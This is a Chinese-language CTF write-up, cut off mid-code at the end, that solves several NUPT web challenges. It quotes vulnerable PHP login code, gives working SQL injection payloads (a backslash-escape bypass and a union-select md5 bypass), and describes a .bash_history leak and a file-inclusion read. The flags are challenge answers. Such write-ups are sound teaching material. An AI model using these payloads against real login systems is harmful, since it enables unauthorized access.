之前做的南邮的题目,但是一直遗留下来几个比较复杂一些的,但是前面还是有很有意思的题目,补题补题
sql injection 4
F12打开源码,关键代码如下
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
想办法构造闭合,用转义符\
搞定构造万能钥匙
payload
http://chinalover.sinaapp.com/web15/index.php?username=admin\&password= or 1%23
坑爹的过滤了#号,需要一定运气才能试出来…
flag:nctf{sql_injection_is_interesting}
综合题
首先看到熟悉的东西
将之丢到google chrome 中的console中跑一下,得到一个网址
1bc29b36f623ba82aaf6724fd3b16718.php
访问这个网址发现说
猜测在它的header头部中,然后去找一下
根据提示我们看一下有没有
.bash_history
发现有一个语句
按照文件名下载该文件,解压得到flag
nctf{bash_history_means_what}
SQL注入2
查看关键代码
<html>
<head>
Secure Web Login II
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
都提示union 了,也知道sql语句,就是想办法让查到的东西可用嘛,构造如下
user=' union select md5(1)#'&pass=1
很容易就绕过了
ntcf{union_select_is_wtf}
综合题2
当时没做出来的题目之一,比较综合吧
首先查看首页flag.php源码很快就能发现最下面有一个本CMS说明,是附带链接的,打开一看
首先是我们能得到一些信息,比如说admin的结构是
create table admin ( id integer, username text, userpass text, )
还有存在的文件
flag.php
config.php
passencode.php
say.php
sm.txt
so.php
而且我们注意一下它的链接!http://cms.nuptzj.cn/about.php?file=sm.txt
是不是非常像文件包含?尝试着看看能不能得到有用的信息吧!
//passencode.php
<?php
function passencode($content){
$pass=urlencode($content);
$array=str_split($content);
$pass="";
for($i=0;$i<count($array);$i++){
if($pass!=